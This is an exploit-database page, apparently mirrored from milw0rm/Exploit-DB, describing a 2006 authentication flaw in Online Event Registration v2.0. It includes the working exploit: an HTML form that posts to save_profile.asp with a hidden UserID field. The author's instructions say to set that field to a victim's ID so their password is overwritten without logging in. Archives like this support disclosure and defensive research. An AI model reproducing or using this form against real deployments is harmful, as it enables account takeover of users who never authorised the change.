Online Event Registration - exploit.company

vendor:

Online Event Registration

by:

ajann

7,5

CVSS

HIGH

Remote User Pass Change Exploit

287

CWE

Product Name: Online Event Registration

Affected Version From: v2.0

Affected Version To: v2.0

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Online Event Registration <= v2.0 (save_profile.asp) Remote User Pass Change Exploit

This exploit allows an attacker to change the user password of a vulnerable version of Online Event Registration. The vulnerability exists due to the lack of authentication when changing the user password. An attacker can exploit this vulnerability by sending a specially crafted HTTP POST request to the vulnerable application. This will allow the attacker to change the user password without any authentication.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to apply the patch as soon as possible.

Source

Exploit-DB raw data:

<!--

# Title  :   Online Event Registration <= v2.0 (save_profile.asp) Remote User Pass Change Exploit
# Author :   ajann

[Code]]]
-->
<html>
<body bgcolor="#000000">
<form method="POST" action="save_profile.asp?key=1&regkey=">
User Name<input type="hidden" name="UserID" size="4">
<input type="text" name="UserName" size="20" class="TBox" value="Demo Account" maxlength="40">
<input type="text" name="Company" size="40" class="TBox" value="Demo Account">
Email<input type="text" name="EmailAddress" size="40" class="TBox" value="demo@codewidgets.net" maxlength="40">
Phone<input type="text" name="Phone" size="20" class="TBox" value="780-429-2318" maxlength="14">
Fax<input type="text" name="Fax" size="20" class="TBox" value="780-429-2319">
Password<input name="Password" size="20" class="TBox" value="demo" maxlength="10">
<input type="submit" value="Submit" name="B1" class="PButton">
</form>
</body>
</html>

<!--
[/Code]]]

Change: <input type="hidden" name="UserID" size="4"> => ID

Next Click "Profile"

#ajann,Turkey
#...

#Im Not Hacker!
-->

# milw0rm.com [2006-11-13]